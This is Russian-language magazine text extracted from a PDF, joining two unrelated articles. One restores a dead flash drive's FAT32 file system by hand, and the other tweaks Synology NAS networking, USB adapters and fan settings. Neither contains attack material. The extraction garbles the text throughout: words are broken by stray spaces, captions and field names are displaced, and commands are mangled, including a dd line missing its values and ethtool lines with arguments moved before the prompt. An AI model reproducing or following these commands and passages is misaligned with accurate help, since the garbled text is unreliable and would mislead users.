Раз мер  раз дела  равен  раз меру флеш ки  минус  сме щение  раз дела.  Получа‐ 
ется 15 676 211 200 – 0x15E800 = 15 674 775 552 бай та.

Что бы не занимать кучу мес та на дис ке нашим пус тым обра зом, вос поль‐ 
зуем ся фиш кой фай ловой сис темы ext2 —  .раз режен ными фай лами

1  0 $ dd if=/dev/zero of=test.img bs= seek=15674775552 count=
 2   $ mkfs.vfat ‐f ‐F32 ‐n TEST test.img 

От кро ем файл в 010 Editor. И вос поль зуем ся шаб лоном Drive (воз можно, его
пот ребу ется уста новить, см. меню Templates Repository). Если появит ся окош‐ 
ко  с  пре дуп режде нием  о  дол гой  работе,  сог лаша емся  на  про дол жение
работы скрип та.

Смот рим сге нери рован ный образ

Раз бор полей обра за

Раз бор полей BPB

Прек расно! Теперь у нас есть запол ненные струк туры заг рузоч ного сек тора.
Надо бы их перенес ти в наш образ.

Вы деля ем  мыш кой  струк туру    в  окне  Templates  Results,
авто мати чес ки выделит ся диапа зон дан ных, ско пиру ем их в буфер (щел кнуть
пра вой кноп кой мыши в окне дан ных и выб рать пункт Copy).

FAT_BOOTSECTOR

Собираем чудовище Франкенштейна
Для сбор ки обра за вста вим сге нери рован ный заг рузоч ный сек тор и ско пиру‐ 
ем вто рую копию FAT поверх пер вой.

Нач нем  с  встав ки  заг рузоч ного  сек тора. Он  у  нас  уже  в ОЗУ.  Перей дем
на вычис ленный адрес 0x15E800 и вста вим дан ные из буфера.

Встав ленные дан ные

Вы ясня ется, что пос ле сек тора идут бай ты 0xFF, а в сге нери рован ном обра зе
пос ле это го сек тора есть еще дан ные.

Сге нери рован ный образ

Не поря док. Пос ле пер вого сек тора ведь идет струк тура FSInfo! Да и по сме‐ 
щению  0xC00  находит ся  копия  заг рузоч ного  сек тора  (на  слу чай  его  пов‐ 
режде ния). Нет, луч ше ско пиру ем все 32 сек тора (0x4000 байт). Кста ти, заод‐ 
но  убе дились,  что  в  обра зе,  сге нери рован ном  mkfs,  по  сме‐ 
щению 0x4000 будет пос ледова тель ность  . Пос ле встав ки в наш
образ мы ока зались по адре су 0x162800, который ранее и рас счи тали. Пока
все сов пада ет.
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Те перь нам надо ско пиро вать вто рую копию FAT поверх пер вой. Выделя ем
учас ток  дли ной  0x74BC00  с  адре са  0x8AE400,  копиру ем  его  и  встав ляем
по адре су 0x162800. Для выделе ния учас тка удоб но вос поль зовать ся фичей
Select Range (Ctrl + Shift + A) — прос то вве дем в поля адрес и раз мер.

Кор невая дирек тория

Пос ле встав ки ока зались в начале кор невой дирек тории. Пока все схо дит ся.
Те перь нам бы смон тировать этот раз дел и пос мотреть, что удас тся с него

счи тать.

Читаем данные
Для мон тирова ния фай ловой сис темы выпол ним сле дующие коман ды.

 

 

 
 

 
ls: невоз можно получить дос туп к 'mnt/28‐02‐~1': Ошиб ка вво да/вывода 
ls: невоз можно получить дос туп к 'mnt/map_n': Ошиб ка вво да/вывода 
 10_10_2016 
 2019.07.13 
 28‐02‐~1 
 BOOTEX.LOG 
......

$ mkdir mnt
$ sudo mount ‐oro,offset=1435648 flash.img mnt/
$ ls mnt/

Пот ряса юще!  Образ  при мон тировал ся,  и  даже  есть  наз вания  фай лов
и дирек торий. Но есть  и  какие‐то  стран ные ошиб ки. Пос мотрим под робнее
(часть записей в выводе спе циаль но про пуще на).

 

 

 
... 
d?????????  ? ?    ?            ?            ?  map_n 
...

$ ls ‐la mnt/

Очень  стран но.  Да  и  прос мотр  содер жимого  дирек торий  дает  понять,  что
где‐то зак ралась ошиб ка.

 

 

 
ls: невоз можно получить дос туп к 'mnt/some_dir/%PDF‐1.4.'$'\n''%╨': 
Ошиб ка вво да/вывода 
ls: чте ние катало га 'mnt/some_dir/': Ошиб ка вво да/вывода

$ ls mnt/some_dir/

Имя  фай ла  сов пада ет  с  заголов ком  PDF.  Похоже,  клас тер,  на  который  ука‐ 
зыва ет запись для этой дирек тории, содер жит PDF.

Вол шебс тва не про изош ло, при дет ся раз бирать ся, в чем косяк. Но перед
этим нем ного  упростим  себе жизнь  и  соз дадим  таб лицу  раз делов. Забегая
впе ред,  ска жу,  что  шаб лон  Drive  в  редак торе  010  Editor  вро де  бы  шиб ко
умный,  но  начать  раз бор  с  опре делен ного  сме щения  не  может,  толь ко
с начала фай ла.

Для соз дания таб лицы раз делов вос поль зуем ся ути литой fdisk. Соз дадим
один  раз дел,  начина ющий ся  с  сек тора  номер  2804.  Сме щение  нес тандар‐ 
тное  (по  умол чанию —  2048),  воз можно,  что  на флеш ке  было  два  раз дела,
пер вый  был  малень кий  и  погиб  целиком.  Но  это  уже  неваж но.  Сам  сек тор
вычис ляет ся лег ко — прос то делим начало сме щения раз дела на раз мер сек‐ 
тора (0x15E800/512 = 2804).

Вы вод fdisk

Об ращаю  вни мание,  что  fdisk  опре делил  наличие  по  это му  сме щению  раз‐ 
дела  с  FAT32  (vfat)  и  спро сил,  не  уда лить  ли.  Кро ме  того,  не  забыва ем
поменять тип раз дела на   (код 0c).W95 FAT32 (LBA)

Работа над ошибками
По иск  ошиб ки  занял  у меня  где‐то  час,  в  течение  которо го  я  активно  курил
спе цифи кации и све рял зна чения в струк турах, разоб ранных шаб лоном Drive
в 010 Editor. Вкрат це опи шу свои поис ки.

Скрин шот полей BPB

Сна чала  я  заметил,  что  кор невая  дирек тория  рас положе на  по  адре су  0xF‐
FA800, а не по адре су 0xFFA000.

Я подумал, что невер но опре делен раз мер клас тера. Ути лита mkfs соз дала
клас теры  по  16  сек торов,  а  сек торы  по  512  байт  (см.  на  скрин шоте  поля

  и  ).  Сна чала  я  поп робовал  поиг рать
зна чени ями этих парамет ров, каж дый раз перемон тируя образ.
BytesPerSector SectorsPerCluster

Loop
Пос коль ку в обра зе есть таб лица раз делов, мож но не запус кать каж дый раз
mount  со  все ми  парамет рами  ( ).
Вмес то  это го мож но  под клю чить  loop‐устрой ство  и  поп росить  ядро  счи тать
таб лицу раз делов с него.

‐oro,offset=1435648  flash.img  mnt/

$ sudo losetup ‐f flash.img 
$ sudo partprobe /dev/loop0 

Или мож но еще про ще (читай man losetup):

 $ sudo losetup ‐f ‐P flash.img 

Да лее можем мон тировать и перемон тировать раз дел сколь ко угод но.

$ sudo mount ‐oro /dev/loop0p1 mnt/ 
$ sudo umount mnt/ 

Пос ле каж дой прав ки не надо заново под клю чать loop‐устрой ство, сме щение
раз дела в обра зе у нас не меня ется.

Ни чего пут ного из это го не выш ло. Ста нови лось толь ко хуже.
Че рез некото рое вре мя  я  понял,  что и  вто рая  копия  таб лицы начина ется

не там, где надо.
И  тут  я  обра тил  вни мание  на  поле    (на  скрин шоте).

Это  поле  опи сыва ет  раз мер  таб лицы  FAT  в  сек торах.  Его  зна чение  рав‐ 
но 0x3A60, а дол жно оно быть 0x74BC00/512 = 0x3A5E. Раз ница в два сек тора
на каж дую копию таб лицы FAT как раз дает нам 2×2×0x200 = 0x800 байт раз‐ 
ницы  меж ду  пра виль ным  сме щени ем  кор невой  дирек тории  и  име ющим ся
у нас оши боч ным.

SectorsPerFat32

Пра вим его (пря мо в окне струк туры, что очень удоб но), сох раня ем изме‐ 
нения и про веря ем.

$ sudo mount ‐oro /dev/loop0p1 mnt/ 
mnt/ $ ls 

От лично!  Ошиб ки  про пали!  Все фай лы  и  пап ки  чита ются.  Струк тура  похожа
на кор рек тную.

Нат равив на образ  fsck, все рав но видим ворох оши бок. Одна ко пер вое,
что бро сает ся в гла за, — это несо ответс твие заг рузоч ных записей.

 

 

 
fsck.fat 4.1 (2017‐01‐24) 
There are differences between boot sector and its backup. 
This is mostly harmless. Differences: (offset:original/backup) 
  36:5e/60 
  Not automatically fixing this. 
FATs differ but appear to be intact. Using first FAT. 
....

$ sudo fsck.vfat ‐n /dev/loop0p1

Об ращаю вни мание, параметр   у fsck говорит, что прав ки вно сить не надо.‐n
Что ж, испра вим и вто рую копию. К сожале нию, шаб лон 010 Editor не раз‐ 

бира ет  вто рую  копию  заг рузоч ного  сек тора,  поэто му  сами  най дем  нуж ный
байт и поп равим его. Най ти его лег ко — сме щение 0x24 от начала сек тора,
в нашем слу чае 0x15F424, меня ем 0x60 на 0x5E.

За пус каем еще раз fsck.
Стран но, но  fsck выда ет ошиб ки и  говорит,  что  копии  таб лиц FAT не сов‐ 

пада ют (хотя мы же их копиро вали), и жалу ется на дли ны фай лов. Воз можно,
пов лияли пре дыду щие мон тирова ния или что‐то еще.

Я вос ста новил из бэкапа  (ты же про чел врез ку о тех нике безопас ности?)
ори гиналь ный  образ  флеш ки  и  заново  про шел  эта пы  копиро вания  таб лиц,
заг рузоч ного  сек тора  (с  прав кой  поля  )  и  его  копии.  Пов‐ 
торный запуск fsck меня порадо вал.

SectorsPerFat32

 

 

 
fsck.fat 4.1 (2017‐01‐24) 
Free cluster summary wrong (1911553 vs. really 899251) 
  Auto‐correcting. 
Leaving filesystem unchanged. 
/dev/loop0p1: 32183 files, 1012304/1911555 clusters

$ sudo fsck.vfat ‐n /dev/loop0p1

Что,  в  прин ципе,  логич но,  так  как  зна чения  в  полях  струк туры  FSInfo  мы
не  перес читыва ли.  Мож но,  кста ти,  запус тить  fsck  без  парамет ра    что бы
испра вить эти мел кие косяч ки. Пос ле чего взять новую флеш ку на 16 Гбайт,
залить  на  нее  исправ ленный  образ  и  вер нуть  ее  товари щу. Пусть  уди вит ся,
а ты в его гла зах вырас тешь из прос то «тыж прог раммис та» в гуру. :)

,‐n

ВЫВОДЫ
В зак лючение, думаю, сто ит отме тить, что если с ходу ути литы TestDisk и Pho‐
toRec  не  дают  хороших  резуль татов,  то  не  сто ит  отча ивать ся  и  надо  поп‐ 
робовать  вос ста новить  дан ные  с  исполь зовани ем  головы  и  пря мых  рук.
В ито ге всей работы, которая сум марно заняла око ло двух часов, мы вос ста‐ 
нови ли  фак тичес ки  все  дан ные  с  «умер шей»  флеш ки,  вклю чая  струк туру
дирек торий и всю мета информа цию.

Кро ме того, край не рекомен дую делать бэкапы как мож но чаще. Как обра‐ 
зов, с которы ми работа ешь при вос ста нов лении, так и важ ных дан ных на сво‐ 
их  собс твен ных  флеш ках,  что бы  не  при ходи лось  их  вос ста нав ливать.  Ведь,
как  извес тно,  люди  делят ся  на  две  катего рии:  на  тех,  кто  еще  не  дела ет
бэкапы, и на тех, кто уже их дела ет.

https://ru.wikipedia.org/wiki/%D0%A0%D0%B0%D0%B7%D1%80%D0%B5%D0%B6%D1%91%D0%BD%D0%BD%D1%8B%D0%B9_%D1%84%D0%B0%D0%B9%D0%BB
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ТРЮКИ

Synology — отличное решение для орга низа ции домаш него
или  кор поратив ного  NAS.  Мес тная  опе раци онная  сис тема,
DSM,  про думан на  и  отлично  опти мизи рова на,  но  порой
нелогич на  и  слиш ком  уре зана.  Но  чем  хороша  DSM,  так
это тем, что мно гое мож но испра вить, отре дак тировав фай‐ 
лы  кон фигура ции.  А  уста нов ка  пакетов  из  сто рон него
репози тория  от  незави симо го  сооб щес тва  раз работ чиков
поз волит замет но рас ширить воз можнос ти устрой ства в сто‐ 
рону, не пре дус мотрен ную раз работ чиками.

Что  кон крет но сто ит изме нить? В спи сок вхо дит стран ная реали зация агре‐ 
гации  сетевых  пор тов,  не  поз воля ющая  удво ить  про пус кную  спо соб ность
при  работе  с  единс твен ным  кли ентом,  отсутс твие  штат ных  спо собов  уве‐ 
личить ско рость сетево го интерфей са, шум ная работа вен тилято ра в прос тое
даже в тех моделях, про цес сор которых не нуж дает ся в активном охлажде нии.

АГРЕГАЦИЯ ПОРТОВ: КАК НА САМОМ ДЕЛЕ УДВОИТЬ СКОРОСТЬ
СЕТЕВОГО ИНТЕРФЕЙСА
Ско рость  сов ремен ных  жес тких  дис ков  час то  пре выша ет  200  Мбайт/с,
а  исполь зование  некото рых  типов мно годис ковых мас сивов  поз воля ет  дос‐ 
тичь  и  более  высоких  ско рос тей.  Исполь зование  в  сетевых  хра нили щах
единс твен ного  гигабит ного сетево го пор та  уби вает  удо воль ствие на  кор ню:
получить ско рость, пре выша ющую 125 Мбайт/с, с единс твен ным гигабит ным
соеди нени ем  невоз можно.  В  статье  «

»  я  уже  успел
пожало вать ся на проб лему, опи сав и вари ант решения — купить и нас тро ить
муль тигига бит ный  адап тер.  Сей час  же  я  рас ска жу  о  том,  как  обой тись
без него и удво ить ско рость гигабит ного соеди нения совер шенно бес плат но.

Пос ле  гигаби та.  Выбира ем  и  нас тра‐ 
иваем  обо рудо вание  для  супер ско рос тной  домаш ней  сети

Ряд  моделей  Synology  —  нап ример,  DS718+,  DS220+,  DS720+,  DS420+
и более прод винутые — осна щены дву мя или более  гигабит ными сетевы ми
пор тами. Поль зовате ли QNAP или Asustor пож мут пле чами: отлично, дела ем
агре гацию — ско рость удва ивает ся! Одна ко в NAS от Synology исполь зовать
лиш ний порт для того, что бы прос то удво ить полосу про пус кания, у обыч ного
поль зовате ля  не  получит ся.  Что бы  разоб рать ся  в  при чинах,  нуж но  нем ного
рас ска зать о том, как работа ет агре гация сетевых лин ков в прин ципе.

Ис поль зовать два и более сетевых интерфей са мож но раз ными спо соба‐ 
ми.  Нап ример,  выделить  один  линк  как  резер вный:  он  будет  задей ство ван,
толь ко если у основно го лин ка воз никнут проб лемы. Так же агре гацию мож но
при менить  для  рас пре деле ния  наг рузки,  пус кая  тра фик,  генери руемый  раз‐ 
ными  кли ента ми,  по раз ным лин кам. В этом слу чае ширина полосы про пус‐ 
кания уве личи вает ся про пор циональ но количес тву лин ков — но толь ко если
поль зовате лей нес коль ко и дос туп к дан ным они получа ют с раз ных сетевых
интерфей сов.  Ско рость  дос тупа  к  дан ным  для  каж дого  кон крет ного  поль‐ 
зовате ля  не  пре высит  мак сималь ной  ско рос ти  работы  единс твен ного
гигабит ного лин ка.

Единс твен ное исклю чение из это го пра вила — агре гация на прог рам мном
уров не  (она  не  тре бует  какого‐то  осо бого  ком мутато ра  или  нас тро ек)
по  алго рит му  Round  Robin  (на  рус ский  язык  иног да  перево дит ся  как  цик‐ 
личес кий  режим).  При  работе  по  это му  алго рит му  сетевые  интерфей сы
исполь зуют ся стро го по оче реди, что и поз воля ет дос тичь эффекта, которо го
ожи дает обыч ный домаш ний поль зователь: ско рость переда чи дан ных меж ду
NAS и любым дру гим устрой ством (разуме ется, так же исполь зующим ско рос‐ 
тной  линк)  будет  скла дывать ся  из  сум марной  про пус кной  спо соб ности  всех
агре гиро ван ных  лин ков.  Таким  обра зом,  вклю чение  вто рого  пор та  Ethernet
у дру гих про изво дите лей — это спо соб удво ить видимую поль зовате лю ско‐ 
рость  работы  NAS,  вплот ную  приб лизив  ско рость  обме на  дан ными  по  сети
к ско рос ти самих дис ков.

А  вот  в  сетевых  хра нили щах  от  Synology  от  агре гации  пор тов  обыч ному
поль зовате лю  будет  мало  тол ка.  По  какой‐то  при чине  раз работ чики  DSM
не  ста ли  выводить  в  гра фичес кий  интерфейс  воз можность  исполь зования
цик личес кого  режима  Round  Robin.  Дру гие  алго рит мы?  Пожалуй ста!  Вот
толь ко ни один из них не поз волит удво ить ско рость переда чи дан ных меж ду
NAS и единс твен ным кли ентом. Подав ляющее боль шинс тво покупа телей NAS
с дву мя сетевы ми пор тами не узна ет об этой осо бен ности, пока не поп робу ет
вос поль зовать ся режимом агре гации.

В DSM дос тупен выбор одно го из нес коль ких алго рит мов агре гации.

При  этом  DSM  работа ет  поверх  сбор ки  Linux,  в  ядре  которой  агре гация
Round Robin при сутс тву ет. Соот ветс твен но, мож но поп робовать ее вклю чить.
Для  это го  дос таточ но  изме нить  единс твен ный  байт  в  единс твен ном  тек сто‐ 
вом фай ле. Итак:
1. Соз даем  сетевое  соеди нение,  исполь зуя  агре гацию  по  методу  Adaptive
Load Balancing. Вни мание:  на момент  соз дания соеди нения оба сетевых
пор та дол жны быть уже под клю чены к ком мутато ру, при чем ско рость пор‐ 
тов  дол жна  сов падать.  Кста ти,  рекомен дую  сра зу  же  уве личить  MTU
до 9000.

2. За ходим через SSH с пра вами root и откры ваем файл 
  (или bond0, в зависи мос ти от нас тро‐ 

ек) на редак тирова ние.

/etc/sysconfig/

networkscripts/ifcfgbond1

3. На ходим  стро ку    и  меня ем  зна чение  6  на  0.  Сох раня ем
файл.

BONDING_OPTS

4. Пе реза пус каем сеть коман дой    (если пос ле
это го  открыть  окно  нас тро ек  агре гации  в  веб‐интерфей се  DSM,  в  нем
не будет выб ран ни один из вари антов).

/etc/rc.network restart

Ес ли все сде лано пра виль но, мы получим удво енную ско рость переда чи дан‐ 
ных  меж ду  NAS  и…  собс твен но,  меж ду  NAS  и  любым  дру гим  устрой ством,
которое  либо  так же  исполь зует  агре гацию Round Robin  (про вере но  на  двух
экзем пля рах  Synology,  под клю чен ных  к  одно му  гигабит ному  ком мутато ру),
либо  под клю чено  к  тому  же  ком мутато ру  по  ско рос тно му  каналу  на  2,5,
5 или 10 Гбит/с (про вере но с собс твен ным компь юте ром).

Ду маю, оче вид но, что в тво ем компь юте ре при этом дол жен быть уста нов‐ 
лен либо один ско рос тной сетевой интерфейс (под клю чен ный к ско рос тно му
пор ту муль тигига бит ного ком мутато ра), либо два гигабит ных (мож но под клю‐ 
чить к тому же гигабит ному ком мутато ру, к которо му под клю чен NAS).

ЕЩЕ БОЛЕЕ БЫСТРЫЙ ETHERNET
Аг регация  сетевых  пор тов —  отличная  вещь  с  одним  малень ким  огра ниче‐ 
нием:  работа ет  толь ко  в  доволь но  дорогих  моделях,  в  которых  вто рой
сетевой  порт  при сутс тву ет  как  класс.  Боль шинс тво  же  дос тупных  по  цене
моделей  Synology  (в  том  чис ле  исклю читель но  популяр ная  модель  DS218+,
а так же недоро гие модели DS118j и DS220j), увы, обо рудо ваны единс твен ным
сетевым пор том. Как‐либо уве личить ско рость дос тупа штат ными средс тва ми
невоз можно — толь ко перехо дить на более дорогую модель, обо рудо ван ную
дву мя пор тами Ethernet.

Поп робу ем оче вид ный вари ант: под клю чаем гигабит ный сетевой адап тер
к пор ту USB в надеж де нас тро ить агре гацию. Про мах, при чем двой ной: адап‐ 
тер сис темой не опоз нан, приш лось искать драй вер; и даже пос ле его уста‐ 
нов ки  воз можнос ти  нас тро ить  агре гацию  в  сис теме  так  и  не  появи лось.
Допол нитель ный  сетевой  интерфейс  не  был  про нуме рован,  оба  пор та  (и
встро енный, и USB) показа ны в интерфей се под наз вани ем LAN. Что ж, ник то
и  не  обе щал,  что  в  устрой стве  с  одним  пор том  раз работ чики  DSM  оста вят
нас трой ки агре гации.

Ос тает ся дру гой вари ант: исполь зовать внеш ний сетевой адап тер со ско‐ 
ростью 2,5 или 5 Гбит/с. В про даже есть мно жес тво вари антов, все они осно‐ 
ваны на одном из двух чип сетов: Marvell (Aquantia) AQtion AQC111U либо Real‐
tek  RTL8156  (на  котором  пос тро ен  доб рый  десяток моделей,  отли чающих ся
в  основном фор мой  кор пуса,  а  иног да  и  вов се  толь ко  наз вани ем  про изво‐ 
дите ля).

Вариант 1: 5 Гбит, адаптер QNA-UC5G1T на чипсете AQtion
AQC111U
Про буем под клю чить пятиги габит ный адап тер от основно го кон курен та Synol‐
ogy  —  ком пании  QNAP.  Прос то  взять  и  под клю чить  адап тер,  разуме ется,
недос таточ но:  DSM  кор рек тно  опре делит  устрой ство,  но  без  драй вера
для  AQC111U  не  уви дит  сетево го  лин ка.  На  помощь  при ходит  GitHub:  драй‐ 
веры для чип сета AQC111U в фор мате пакета для DSM мож но ска чать  .от сюда

В  спи сок  сов мести мых  моделей  вхо дят  DS918+,  DS620slim,  DS1019+,
DS718+, DS418play,  а  так же DS218+. Впро чем,  сбор ки  дос тупны  и  для  более
ста рых чип сетов, но — без гаран тии. При этом под держи вают ся в основном
устрой ства  с  про цес сорами  Intel;  модели  на  чипах Realtek  (архи тек тура  AR‐
Mv8) не под держи вают ся,  так что исполь зовать адап тер с DS218, DS218Play,
DS220j или DS118j не удас тся.

А  что  нас чет  сов ремен ных  устрой ств —  DS220+,  DS720+,  DS420+  и  так
далее? Для них еще не выложе ны нуж ные биб лиоте ки и фрей мвор ки, которые
необ ходимы для ком пиляции драй веров.

Ус танав лива ется драй вер прос то: дос таточ но исполь зовать коман ду Man‐
ual  Install  из  раз дела  Packages.  Пос ле  уста нов ки  драй вер  ста новит ся  дос‐ 
тупным в виде уста нов ленно го пакета; его нуж но будет запус тить.

Драй вер  готов  к  работе,  но  рекомен дует ся  его  пред варитель но  нас тро ить,
изме нив в свой ствах адап тера MTU = 9000. В нас трой ках адап тер будет выг‐ 
лядеть при мер но так:

На этом не все. Пятиги габит ный адап тер скло нен к наг реву, а  где наг рев —
там  и  трот линг.  Соот ветс твен но,  сто ит  отклю чить  тем ператур ный  трот линг,
а  что бы  не  воз никал  перег рев  —  вклю чить  EEE  (Energy  Efficient  Ethernet).
Это мож но сде лать дву мя коман дами в тер минале (пред полага ется, что иден‐ 
тифика тор под клю чения — eth1, что вер но для сис тем с единс твен ным встро‐ 
енным сетевым пор том):

 off $ ethtool ‐‐set‐priv‐flags eth1 "Thermal throttling"
 on $ ethtool ‐‐set‐priv‐flags eth1 "Low Power 5G"

Пос ле  это го  линк  пол ностью  готов  к  работе.  Естес твен ное  огра ниче ние:
через USB‐адап тер не будет работать режим Wake on LAN; для работы WOL,
если  она  тре бует ся,  сле дует  оста вить  под клю чен ным  кабель  к  одно му
из встро енных сетевых пор тов. В такой кон фигура ции нуж но будет убе дить ся
в  кор рек тной  адре сации  устрой ства,  в  явном виде под клю чаясь  к  IP‐адре су
имен но пятиги габит ного адап тера. Я решил этот воп рос, нас тро ив локаль ное
наз вание устрой ства в виде my_nas.local (при этом прос то my_nas обра щает‐ 
ся  к  устрой ству  через  встро енный  LAN),  но  вари антов  может  быть  мас са,
вплоть до редак тирова ния фай ла hosts на компь юте ре.

Я исполь зовал эту кон фигура цию в течение нес коль ких месяцев, передав
через  устрой ство  нес коль ко  десят ков  терабайт.  Никаких  проб лем  не  воз‐ 
никло, перег рев не наб людал ся.

Сто ило ли оно того? Вот резуль таты тес тирова ния.
Чте ние показа ло усто явшу юся ско рость 150 Мбайт/с.

Пи ковая про изво дитель ность — поряд ка 178 Мбайт/с.

За пись  в  зашиф рован ную  пап ку  (AES‐256)  прош ла  со  сред ней  ско ростью
поряд ка 140 Мбайт/с, при этом замет но наг рузив про цес сор.

Эк спе римент счи таю удав шимся: дос тигну та ско рость переда чи дан ных, поч‐ 
ти в пол тора раза пре выша ющая воз можнос ти  гигабит ного лин ка. Впро чем,
до ско рос тей DAS это му решению все же далеко: веро ятно, игра ет роль весь‐ 
ма скром ная вычис литель ная мощ ность ста рень кого двухъ ядер ного Celeron.

Продолжение статьи →
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ОБХОДИМ ОГРАНИЧЕНИЯ И РАСШИРЯЕМ

ВОЗМОЖНОСТИ ПОПУЛЯРНЫХ NAS

ТРЮКИ  НАЧАЛО СТАТЬИ←

Вариант 2: 2,5 Гбит, адаптер на чипсете Realtek RTL8156
Я про тес тировал вот такой адап тер, про дава емый под мар кой Digitus:

На чип сете RTL8156 выпуще но боль шое количес тво адап теров, которые отли‐ 
чают ся внеш ним видом кор пуса и спо соба ми отво да теп ла. Драй вер для всех
этих адап теров под ходит один и тот же.

Про тес тирован ный адап тер осна щен разъ емом USB Type‐C. Для под клю‐ 
чения  к  Synology  пот ребовал ся  переход ник,  у  которо го  есть  своя  осо бен‐ 
ность:  на  пол ной  ско рос ти  он  работа ет  толь ко  в  одной  ори ента ции  сим‐ 
метрич ного пор та Type‐C. Если «вот кнуть неп равиль но», ско рость будет такой
же, как у USB 2.0.

Ра зуме ется, драй веров у Synology для это го адап тера не пре дус мотре но.
На помощь вновь при ходит GitHub: на сей раз нас инте ресу ет стра ница 

.
Synol‐

ogy DSM driver for Realtek RTL8152/RTL8153/RTL8156 based adapters
По коле ние  устрой ств  2020  года  на  про цес сорах  Intel  пока  не  под держи‐ 

вает ся.  Драй вер  на  этих  моделях  мож но  уста новить, 
, но ста биль ная работа не гаран тиру ется. Я про тес тировал уста нов‐ 

ку на модели DS420+. Драй вер уста новил ся, мне уда лось передать нес коль ко
гигабайт дан ных с мак сималь ной ско ростью, пос ле чего все устрой ство прос‐ 
то  завис ло.  Проб лема  все  в  том  же  отсутс твии  биб лиотек  и  фрей мвор ков
для све жего поколе ния железа; их дол жна опуб ликовать Synology в бли жай‐ 
шее вре мя, так что кор рек тно работа ющий драй вер впол не разум но ожи дать.

от редак тировав
манифест

Ус танов ка не отли чает ся от  уста нов ки пре дыду щего адап тера. Из допол‐ 
нитель ных нас тро ек име ет смысл акти виро вать Jumbo Frames (MTU 9000), что
помога ет  сни зить  заг рузку  про цес сора  и  наг рев  самого  адап тера.  Тес‐ 
тирова ние под твер дило работос пособ ность ком бинации.

Для  недоро гих  моделей  Synology  я  рекомен довал  бы  адап тер  имен но
на  этом  чип сете  (про изво дитель  самого  адап тера  не  прин ципи ален).  Тому
есть нес коль ко при чин.
1. Це на. Сто имость  такого  адап тера — око ло  35  евро.  Впол не  бюд жетным
решени ем будет покуп ка сра зу двух таких адап теров. Такое решение поз‐ 
воля ет нас тро ить пря мую связь меж ду  компь юте ром и сетевым хра нили‐ 
щем на мак сималь ной ско рос ти, исполь зуя при этом основной гигабит ный
линк для обще ния с внеш ним миром и дру гими устрой ства ми в домаш ней
сети.

2. Сов мести мость.  Для  дан ного  чип сета  есть  драй веры  как  для  устрой ств
на про цес сорах Intel, так и для NAS с архи тек турой ARMv8 (модели DS118,
DS218, DS218play, DS220j и подоб ные).

3. Не доро гая  сетевая  инфраструк тура.  Мож но  про дол жать  исполь зовать
«гигабит ные»  кабели  катего рии  Cat.5e,  а  в  качес тве  ком мутато ра  при‐ 
обрести недоро гой ZyXEL или QNAP. В качес тве ско рос тной сетевой кар ты
для компь юте ра мож но исполь зовать еще один такой же адап тер — и это
впол не бюд жетное решение. Более того, в некото рых материн ских пла тах
уже уста нов лен один или два пор та имен но на 2,5 Гбит.

БЕСШУМНЫЙ NAS
NAS без дви жущих ся час тей — очень тихий NAS, иде аль ный для домаш него
исполь зования. В ряде моделей Synology (речь идет о дос таточ но маломощ‐ 
ных  моделях  DS118j,  DS218j,  DS220j  и  подоб ных)  пре дус мотрен  режим  Low
Power  Mode,  в  котором  вен тилятор  будет  оста нав ливать ся,  ког да  оста нав‐ 
лива ются дис ки. При этом по неиз вес тной при чине в моделях DS218 и DS218‐
play оста нов ка вен тилято ра не пре дус мотре на — нес мотря на то что про цес‐ 
сор в них исполь зует ся ров но тот же, что и в млад ших моделях. Раз ница меж‐ 
ду DS220j  (вен тилятор оста нав лива ется) и DS218play  (нет) и вов се в объ еме
опе ратив ной памяти и цве те кор пуса.

По моему  опы ту,  не  помеша ет  нас трой ка  ско рос ти  вра щения  вен тилято‐ 
ров и таким моделям, как DS218+ и DS220+: даже при минималь ной ско рос ти
вра щения  уста нов ленный  про изво дите лем  дешевый  вен тилятор  замет но
шумит.  При  «спя щих»  дис ках  в  столь  активном  охлажде нии  необ ходимос ти
прос то нет.

К  счастью,  нас тро ить  про филь  ско рос ти  вра щения  вен тилято ра  в  DSM
дос таточ но  прос то.  Откры ваем  тер минал  и  редак тиру ем  файл 

.  Здесь  мож но  ука зать  жела емую  ско рость  вра‐ 
щения  вен тилято ра  в  любом  режиме.  В  сво ей  кон фигура ции  я  сни зил  обо‐ 
роты вен тилято ра с 20 до 15% лишь в самом «холод ном» режиме:

/usr/syno/
etc.defaults/scemd.xml

    0<disk_temperature fan_speed="20%15hz" action="NONE"> </
disk_temperature>

Но вое зна чение:

    0<disk_temperature fan_speed="15%15hz" action="NONE"> </
disk_temperature>

Об рати вни мание: отре дак тировать при дет ся не толь ко эту стро ку, но и стро‐ 
ки,  отве чающие  за  ско рость  вра щения  вен тилято ра  в  зависи мос ти  от  тем‐ 
перату ры про цес сора и сис темы.

Нас тро ить оста нов ку вен тилято ра при гибер нации дис ков мож но, отре дак‐ 
тировав сле дующую нас трой ку:

       <fan_config period="20" threshold="6" type="DUAL_MODE_LOW"
hibernation_speed="UNKNOWN">

Но вое зна чение:

       <fan_config period="20" threshold="6" type="DUAL_MODE_LOW"
hibernation_speed="STOP">

Ре дак тировать мож но  как  зна чения ско рос ти  вра щения  вен тилято ра  (в  про‐ 
цен тах  от  мак симума),  так  и  порого вые  зна чения,  при  дос тижении  которых
сис тема будет  уста нав ливать  ука зан ную в фай ле  ско рость. Для при мене ния
нас тро ек нуж но сох ранить файл и перезаг рузить устрой ство.

У это го спо соба есть свои огра ниче ния. Пер вое же обновле ние DSM вер‐ 
нет на мес то нас трой ки по умол чанию; файл при дет ся редак тировать заново.
Кро ме  того,  если  ука зать  слиш ком  низ кую  ско рость  вра щения, может  оста‐ 
новить ся  вен тилятор,  что  впол не  логич но  вызовет  сооб щение  об  ошиб ке
и  мер зкий  писк  устрой ства  (мож но  отклю чить  в  нас трой ках).  Наконец,  без‐ 
думное сни жение обо ротов вен тилято ра может при вес ти к перег реву устрой‐ 
ства,  а  при  неудач ном сте чении обсто ятель ств  и  к  пов режде нию  ком понен‐ 
тов.

РЕПОЗИТОРИЙ SYNOCOMMUNITY
В пре дыду щих раз делах мы нес коль ко раз редак тирова ли тек сто вые фай лы,
но  при  помощи  какого  редак тора?  Удоб ный  редак тор  nano  в  сос тав  DSM
не вхо дит,  как не вхо дит и фай ловый менед жер Midnight Commander, редак‐ 
тор которо го еще более удо бен. Эту проб лему лег ко испра вить.

У Synology есть доволь но боль шой репози торий при ложе ний, из которо го
мож но ска чать как пакеты собс твен ной раз работ ки ком пании, так и мно гочис‐ 
ленные сто рон ние прог раммы и рас ширения. Одна ко далеко не все при ложе‐ 
ния успешно про ходят модера цию. Для исполь зования пакета из фай ла мож‐ 
но  вре мен но  отклю чить  про вер ку  циф ровой  под писи,  но  гораз до  удоб нее
